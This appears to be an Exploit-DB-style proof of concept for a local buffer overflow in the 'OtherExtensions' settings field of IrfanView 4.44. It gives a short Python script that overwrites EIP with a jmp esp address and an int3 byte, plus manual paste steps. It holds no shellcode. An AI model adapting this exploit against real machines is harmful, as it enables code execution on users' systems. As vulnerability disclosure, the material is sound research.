# Exploit Title: Irfanview - OtherExtensions Input Overflow
# Date: 29-04-2017
# Software Link: http://download.cnet.com/IrfanView/?part=dl-&subj=dl&tag=button
# Exploit Author: Dreivan Orprecio
#Version: Irfanview 4.44
#Irfanview is vulnerable to overflow in "OtherExtensions" input field
#Debugging Machine: WinXP Pro SP3 (32bit)
 
 
#POC
 
#!usr/bin/python
 
 
      eip = "\xf7\x56\x44\x7e" #jmp esp from user32.dll
 
 
 
      buffer = "OtherExtensions="+"A" *  199 + eip + "\xcc"
 
      print buffer              #a) irfanview->Option->Properties/Settings->Extensions
                                #b) Paste the buffer in the "other" input then press ok, repeat a) and b)
 
 
 
 
 
#badcharacters: those instruction that start with 6,7,8,E,F 
#Only 43 bytes space to host a shellcode and lots of badchars make it hard for this to exploit
#Any other way around this?